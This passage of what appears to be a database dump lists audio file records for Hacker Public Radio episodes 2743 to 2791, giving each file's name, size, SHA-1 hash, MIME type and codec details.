(2743,'hpr2743.ogg','ogg',36717795,'7cdbff98d908685165823f6b4fd104245f4f578a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2743,'hpr2743.spx','spx',14248335,'0bf5800d6e40113b7e775e4ae507b4cbad301dfe','application/ogg; charset=binary','Ogg data, Speex audio'),
(2744,'hpr2744.mp3','mp3',17254173,'d814f50c5af564f2b4818633abf11a6e36f1ffe4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2744,'hpr2744.ogg','ogg',19240271,'b2c2ff16e4c2c3bad61525b705b57c70033c1a6f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2744,'hpr2744.spx','spx',7705594,'c54e08cbcf5ad6a4a6e756d34e6dbde129c01c09','application/ogg; charset=binary','Ogg data, Speex audio'),
(2745,'hpr2745.mp3','mp3',11184744,'2fa0127cc36886a704442072182b7f32b654ae0f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2745,'hpr2745.ogg','ogg',12772997,'45f9595470a0eab42e719aa3aede658cea2f772c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2745,'hpr2745.spx','spx',4994956,'83ab2538ad01ba62084a5a897281e4d60b267954','application/ogg; charset=binary','Ogg data, Speex audio'),
(2746,'hpr2746.mp3','mp3',3687828,'a3b40953956758e2cba68b1a2d2360e4e6fbf14a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2746,'hpr2746.ogg','ogg',4111114,'1de6abd938551d982b1165aad75c44041789a050','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2746,'hpr2746.spx','spx',1646830,'3bff878e138b8cad98318c9c5239c30497d5a4f0','application/ogg; charset=binary','Ogg data, Speex audio'),
(2747,'hpr2747.mp3','mp3',3596052,'10cb474f5636d519d2a7badac99402f2396d03bb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2747,'hpr2747.ogg','ogg',4098226,'1398dc5e9419dfa7f64d6323de2ff3637d44e2bd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2747,'hpr2747.spx','spx',1605702,'f83e24c759d31c2f3da5c3450b6b119fb22b15ad','application/ogg; charset=binary','Ogg data, Speex audio'),
(2748,'hpr2748.mp3','mp3',22249845,'685b3e95d4e145db547279a402c4fc4b577b58be','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2748,'hpr2748.ogg','ogg',20414573,'94f73248c7dd0d1fe34fdf4d6995b21ef1f90ada','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2748,'hpr2748.spx','spx',9936796,'62db30a521d5872091a50fc0d2f310f5b76a12ec','application/ogg; charset=binary','Ogg data, Speex audio'),
(2749,'hpr2749.mp3','mp3',7435312,'6ba5def4889a83800e873718a7adde704d3a6c10','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2749,'hpr2749.ogg','ogg',8681722,'3f22eb52f098012340cb929f407d6afe9a10a7b5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2749,'hpr2749.spx','spx',3320502,'171bcd68c96da4004fe057af00da036b83b73b98','application/ogg; charset=binary','Ogg data, Speex audio'),
(2750,'hpr2750.mp3','mp3',3250669,'8b3e4429a223b804566bfa9b6b6793719f3572b3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2750,'hpr2750.ogg','ogg',3635387,'1277cc2cd1a0bf16a247a230eed8de47da15be39','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2750,'hpr2750.spx','spx',1451572,'45d8e0a4d87adc1d2076ab6d6e91eddf2401c104','application/ogg; charset=binary','Ogg data, Speex audio'),
(2751,'hpr2751.mp3','mp3',7662014,'9004ad95b6fbc7972db84797f76dd64ffc5c9653','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2751,'hpr2751.ogg','ogg',8529388,'e10ec00af575146d79ac6db755fe83c2156f3439','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2751,'hpr2751.spx','spx',3421646,'4d357aefcd65b217cd471968d6856e380120094c','application/ogg; charset=binary','Ogg data, Speex audio'),
(2752,'hpr2752.mp3','mp3',11949205,'cc58851a8fd84ecf452baeeb1362c2feb4cb8a81','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2752,'hpr2752.ogg','ogg',12088336,'dcf652c436eae62a5403e66520cb1cceffa20010','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2752,'hpr2752.spx','spx',5336394,'5d4dd27a0476391cfca39e9dbee05fc611bb9783','application/ogg; charset=binary','Ogg data, Speex audio'),
(2753,'hpr2753.mp3','mp3',9325496,'52b8bd18070873664aaa1413e6fe4f24712d1207','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2753,'hpr2753.ogg','ogg',9842842,'5d810e4addb665469b732a32a0dc7047b8589a19','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2753,'hpr2753.spx','spx',4164660,'c25285eb997f9053eb99ecbd7c77af20f6ee3f42','application/ogg; charset=binary','Ogg data, Speex audio'),
(2754,'hpr2754.mp3','mp3',4793161,'608f1ed7c86f1609285a1a82820ad3b18809dae4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2754,'hpr2754.ogg','ogg',5402371,'a384e211fdf8ae327a22a65c3d0877e022f4d5b5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2754,'hpr2754.spx','spx',2140426,'fbbbbfd066120892fc8808ef9f85055822e8cba3','application/ogg; charset=binary','Ogg data, Speex audio'),
(2755,'hpr2755.mp3','mp3',11723494,'58f999974e13e1bbcd6e12e88a1426db0d520862','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2755,'hpr2755.ogg','ogg',13154077,'b27bc41e31c2d9fc1df9960b1ca67192e31e2974','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2755,'hpr2755.spx','spx',5235552,'ee5d0853087e67cbb81db54ac312f2027d986573','application/ogg; charset=binary','Ogg data, Speex audio'),
(2756,'hpr2756.mp3','mp3',16731494,'6b94e471df801834839e2d0b1bab8bef2e4bd7b2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2756,'hpr2756.ogg','ogg',18592087,'0ad26edc103947ef3ce56b7ac2ff07b8de40cab6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2756,'hpr2756.spx','spx',7472202,'7ea868768293e2c35ad84bd5ec71c193db650e72','application/ogg; charset=binary','Ogg data, Speex audio'),
(2757,'hpr2757.mp3','mp3',21867403,'06ab7bbb2d25794c12376038b0176106d0c5392f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2757,'hpr2757.ogg','ogg',22837259,'a0e17ba832fea4db9708084cfd02b7c1083e9488','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2757,'hpr2757.spx','spx',9765946,'40436f7514d293c976579f9f232c8a72d101af09','application/ogg; charset=binary','Ogg data, Speex audio'),
(2758,'hpr2758.mp3','mp3',21626270,'3fd203c3a01c0bbd520ffee0a232bdb16e968f4f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2758,'hpr2758.ogg','ogg',19827433,'d4dfc43ede9eca746ed6f41758ce46825f2f81ef','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2758,'hpr2758.spx','spx',9658205,'5f5fe790a64839f9062d898fdfcc7bc31f8dc5b0','application/ogg; charset=binary','Ogg data, Speex audio'),
(2759,'hpr2759.mp3','mp3',11056288,'1e09f2199201be2046bfccc9b3eb7224564b4b55','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2759,'hpr2759.ogg','ogg',12342446,'3fc8d470643cd406c1b91bfbf666b6284b380d86','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2759,'hpr2759.spx','spx',4937587,'31c82ee3375fe7983d67eeb3bc97f8d6b6c1fb76','application/ogg; charset=binary','Ogg data, Speex audio'),
(2760,'hpr2760.mp3','mp3',4641589,'2fa363bf48fb7061c0c997dd259dcc30732e396c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2760,'hpr2760.ogg','ogg',4911110,'0eeb79fcbd3e06d6b0f3bc1e06b57b57aa63a9f2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2760,'hpr2760.spx','spx',2072696,'6ef83a2c8f9f9449465c9007304306b158f4be4e','application/ogg; charset=binary','Ogg data, Speex audio'),
(2761,'hpr2761.mp3','mp3',33313858,'94cacb674705b33ea415c577349e5634b43f411b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2761,'hpr2761.ogg','ogg',34085900,'ba162130ce7736cb76561df3f76ccd9781754b49','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2761,'hpr2761.spx','spx',14878097,'39bc906034a255645a904d6c9bc0fb1f3f609d39','application/ogg; charset=binary','Ogg data, Speex audio'),
(2762,'hpr2762.mp3','mp3',8256524,'3dcc0ce5366e5c598cea0bc9e4cfe046229c077d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2762,'hpr2762.ogg','ogg',9176704,'0a5705fafc2e1611e30a225cbd506aa58b067ae5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2762,'hpr2762.spx','spx',3687217,'578aa387ec68ec4a1ffb5a259eb8f930bf8e823f','application/ogg; charset=binary','Ogg data, Speex audio'),
(2763,'hpr2763.mp3','mp3',7099216,'8c49961371bca47f7d05f23bfde0656c1002c1f4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2763,'hpr2763.ogg','ogg',7871474,'85a9c65182ec6bdea9924b221fa50858920c5bd7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2763,'hpr2763.spx','spx',3170303,'3cd8064aa4daaac6f7a99da299af82d9ca0ec5cd','application/ogg; charset=binary','Ogg data, Speex audio'),
(2764,'hpr2764.mp3','mp3',19860775,'512ded8366cf6981ce4ff259fc7e828e97007011','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2764,'hpr2764.ogg','ogg',20560394,'0f752c2c55cfe7ed0396685447eca458afeced5c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2764,'hpr2764.spx','spx',8869778,'66456cef790ad694b2d56f4644de893e91553811','application/ogg; charset=binary','Ogg data, Speex audio'),
(2765,'hpr2765.mp3','mp3',11726421,'173ac9287c9ef7d26eae00aea8f32cc90a089b24','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2765,'hpr2765.ogg','ogg',13084257,'42d0b28b617913dd4b81905e23ff2ca00b66155b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2765,'hpr2765.spx','spx',5236859,'46e9709026825ad3e4002d65500e862658f8285e','application/ogg; charset=binary','Ogg data, Speex audio'),
(2766,'hpr2766.mp3','mp3',11822785,'0197cc2a7dbde04c0dfb026cbe9fcb371d52b6eb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2766,'hpr2766.ogg','ogg',11124094,'ceab684fa4c72d55316bc49430d0086d518e22fa','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2766,'hpr2766.spx','spx',5279966,'451e1dd18acba7bab6e7f01e88bb8bc25385e22f','application/ogg; charset=binary','Ogg data, Speex audio'),
(2767,'hpr2767.mp3','mp3',15762255,'9dabe8920d17d38ddf2add4a481eb88945c8fade','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2767,'hpr2767.ogg','ogg',16210960,'1e9c846bce15dd810746479803f30ab635d5a44b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2767,'hpr2767.spx','spx',7039312,'225b1f6f5a728ecae5fbc134e824346ec92a407b','application/ogg; charset=binary','Ogg data, Speex audio'),
(2768,'hpr2768.mp3','mp3',10065084,'3c8cfdbf575ed74438ff4a2045c513e54fcbe7db','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2768,'hpr2768.ogg','ogg',9442628,'b783d1b2ba70fd4f1188f5ba687d2374ba3eb06e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2768,'hpr2768.spx','spx',4494893,'345b9146f65dfa17b2bb1e5d0ba2819c99c9d595','application/ogg; charset=binary','Ogg data, Speex audio'),
(2769,'hpr2769.mp3','mp3',11934384,'167e87ccffa30fce3a94072a12067746ce582da0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2769,'hpr2769.ogg','ogg',11976184,'b9811e7f96d5d1c1a12193eca49b88b6777b4d26','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2769,'hpr2769.spx','spx',5329710,'2c753a17b696ecff49f11d04f3fe892825925a1b','application/ogg; charset=binary','Ogg data, Speex audio'),
(2770,'hpr2770.mp3','mp3',15299602,'bdc35b3ffa330a22f015217a2e55e780b5413ac6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2770,'hpr2770.ogg','ogg',14303947,'556a8bdfac4e1e11cf6f0e4fb53d406ba9c8243c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2770,'hpr2770.spx','spx',6832684,'2fd4952bb837a91b4037be1ee430b32d29747cc8','application/ogg; charset=binary','Ogg data, Speex audio'),
(2771,'hpr2771.mp3','mp3',20085187,'ea5f69bc080c5483e389b55d6e308536323c8600','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2771,'hpr2771.ogg','ogg',20890393,'0d1d7a786e0ece5b414fae09a51b80e2674fab5f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2771,'hpr2771.spx','spx',8970007,'cac52552db2802eb59ca041c439b10471251b45a','application/ogg; charset=binary','Ogg data, Speex audio'),
(2772,'hpr2772.mp3','mp3',5766358,'87819394af0c3b34be3a215a822d1832ba60ca69','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2772,'hpr2772.ogg','ogg',6317979,'af28e4fd61cd637a7ce1a943cc940e63030bc82b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2772,'hpr2772.spx','spx',2575079,'ed6daeccc910b10ecbae0760bea134a2c531ef78','application/ogg; charset=binary','Ogg data, Speex audio'),
(2773,'hpr2773.mp3','mp3',16069736,'266085c3cfd08c07bf4b1ffa8cc81d96bb71d762','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2773,'hpr2773.ogg','ogg',19214461,'1baf3e368990c16101fc7166a23351326010bd60','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2773,'hpr2773.spx','spx',7176666,'0e95e149775ddbfb9737a29dae93cf6335a6882f','application/ogg; charset=binary','Ogg data, Speex audio'),
(2774,'hpr2774.mp3','mp3',6136266,'4a3d0ebc33126dc35998381eb8266d42b6991ab0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2774,'hpr2774.ogg','ogg',7085163,'1ec4ca8c0732ecad4cfe1dca42c4992c57d85a54','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2774,'hpr2774.spx','spx',2740299,'f100bfe99f66b1f2395bc264fd359645d5c9f442','application/ogg; charset=binary','Ogg data, Speex audio'),
(2775,'hpr2775.mp3','mp3',10673372,'d7b2922bce3cb23fdcd0731f196a5bac50ea9ab3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2775,'hpr2775.ogg','ogg',12010142,'7ca5eeee7c29954487a8a29e8b35baa0ebc435ee','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2775,'hpr2775.spx','spx',4766512,'72f53136d1b95cb620f9daf5cd989e0af6b964c9','application/ogg; charset=binary','Ogg data, Speex audio'),
(2776,'hpr2776.mp3','mp3',9854005,'c52ca6b6d0374fd231822457ae4688475a3bde1d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2776,'hpr2776.ogg','ogg',10392426,'98d58038c80cbea6b6bf469ace5f125c6c13d0a4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2776,'hpr2776.spx','spx',4400614,'c0db40229080197e0a902592264cfbd718ecd78b','application/ogg; charset=binary','Ogg data, Speex audio'),
(2777,'hpr2777.mp3','mp3',16026441,'56c1c2af2c729fc145b92fde4b5d3924a22e44b7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2777,'hpr2777.ogg','ogg',17141744,'f0cb66b649a9773c314bed7d566c4e784699cae0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2777,'hpr2777.spx','spx',7157324,'c5e9a48df667c5e332fc0e322a8ed502a2add175','application/ogg; charset=binary','Ogg data, Speex audio'),
(2778,'hpr2778.mp3','mp3',15819135,'dec573475482d2987bcf29f242d064c0c27a1c17','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2778,'hpr2778.ogg','ogg',14605949,'26f5748d9a0bfedc59dda7a8dbd93d53ae6e629a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2778,'hpr2778.spx','spx',7064716,'6967b6b68773a98a7c275c8241d4a8956ec649c0','application/ogg; charset=binary','Ogg data, Speex audio'),
(2779,'hpr2779.mp3','mp3',6761698,'d71b796dd5d99ff59a488e168e3ebb6334dc84fd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2779,'hpr2779.ogg','ogg',7703637,'84805160d46b41de55c8fcefad80613b00f9c73b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2779,'hpr2779.spx','spx',3019603,'7a90a06cc7e76e108445ecd1007c5f115f39cd9b','application/ogg; charset=binary','Ogg data, Speex audio'),
(2780,'hpr2780.mp3','mp3',12111429,'c2a0bd45176a972fc52109573fe566c2e236a92d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2780,'hpr2780.ogg','ogg',13307348,'ba77d506e7f2f23732c0cb5b35976035295f8e01','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2780,'hpr2780.spx','spx',5408832,'eee394ed97c285f05929a650599be93eda9f87b5','application/ogg; charset=binary','Ogg data, Speex audio'),
(2781,'hpr2781.mp3','mp3',29643962,'3903df0b666ed3b1557141ca11a0d1095dd62c0f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2781,'hpr2781.ogg','ogg',30173166,'ac7f360b7abe668dcad01dc16bbfb841776e420e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2781,'hpr2781.spx','spx',13239088,'55b27b1b380cd853fabbb61d00be6d00e07bfa03','application/ogg; charset=binary','Ogg data, Speex audio'),
(2782,'hpr2782.mp3','mp3',10503895,'da46b87526e50342bc7df2c0c1bf07cb6b99c08f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2782,'hpr2782.ogg','ogg',10150915,'0bdb3367dadf2a0cb268d26ca7ba9824a6ac9715','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2782,'hpr2782.spx','spx',4690913,'aaed28139b4ecb68ac789e8b011fbeeac606b370','application/ogg; charset=binary','Ogg data, Speex audio'),
(2783,'hpr2783.mp3','mp3',8466998,'54047e67a5e8ad99941a446324b76b0aee2cc24c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2783,'hpr2783.ogg','ogg',9126645,'5e271705c5e6ba8e96efac941d83029f2a7b735f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2783,'hpr2783.spx','spx',3781136,'ce9e656bab27ff5856ae86a51dd7b9c976d3e8b3','application/ogg; charset=binary','Ogg data, Speex audio'),
(2784,'hpr2784.mp3','mp3',12606253,'5ee594ebea9b647b660a8d6ecb564f92318597f9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2784,'hpr2784.ogg','ogg',14288857,'8c90aa571cc4fb5db7882a5befc2a7377affe3e0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2784,'hpr2784.spx','spx',5629826,'4f55b929bb13a317ab2176c08fcede8452c8d13e','application/ogg; charset=binary','Ogg data, Speex audio'),
(2785,'hpr2785.mp3','mp3',4259774,'f4bf156bc05901958a3dd550602380df08f71c26','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2785,'hpr2785.ogg','ogg',4479569,'3568be9a9292887adff89a076f4a6a74c0d8a907','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2785,'hpr2785.spx','spx',1902200,'281c20aae644a7a04ddc4ae0ed1c991e059035ad','application/ogg; charset=binary','Ogg data, Speex audio'),
(2786,'hpr2786.mp3','mp3',4491162,'d9eef09c1e721388ca93df14bfff7a75afd9a761','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2786,'hpr2786.ogg','ogg',4803046,'884a014765055f7a8335edb1eaf7cf4a679dc62e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2786,'hpr2786.spx','spx',2005491,'07aa7de2562579a5c7c06dbcdb6db7d8b57aafd3','application/ogg; charset=binary','Ogg data, Speex audio'),
(2787,'hpr2787.mp3','mp3',5964200,'eb70937f4e3a1531b35e2a48bb9a5451836ba96c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2787,'hpr2787.ogg','ogg',5941055,'0c3906e04ff837a97dd133c618107e4702d6a7ac','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2787,'hpr2787.spx','spx',2663340,'48392324c81597e964818eb484c1a6e722549b2d','application/ogg; charset=binary','Ogg data, Speex audio'),
(2788,'hpr2788.mp3','mp3',23854555,'aa876ad04f2d3b694f5696b02648cf75d0ef2dbf','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2788,'hpr2788.ogg','ogg',21936696,'6980dfe0041beac25339404c5ca10a5f147994fb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2788,'hpr2788.spx','spx',10653401,'12003b939d3a3123e9da7979342eaacdfc5f602a','application/ogg; charset=binary','Ogg data, Speex audio'),
(2789,'hpr2789.mp3','mp3',9112530,'3b1936bf04b2c34ddf0b2212664a8d1e5657d31b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2789,'hpr2789.ogg','ogg',9474628,'876116f15fc52ea613c66264800e12d840227f30','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2789,'hpr2789.spx','spx',4069478,'3a247a1d31a708029e194d9e5e7b3056fc351766','application/ogg; charset=binary','Ogg data, Speex audio'),
(2790,'hpr2790.mp3','mp3',10734603,'1936ffcd5234ef938bfe99de448829cdb5d29928','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2790,'hpr2790.ogg','ogg',11953062,'e5dd761d71f5ec30709fe0228658b4ddf1ddcf75','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2790,'hpr2790.spx','spx',4793867,'d4042660c1aa8506ead12ef492176c4fd0af9ad6','application/ogg; charset=binary','Ogg data, Speex audio'),
(2791,'hpr2791.mp3','mp3',12500320,'f8114b241935868b97ae37d262e88535b905223e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
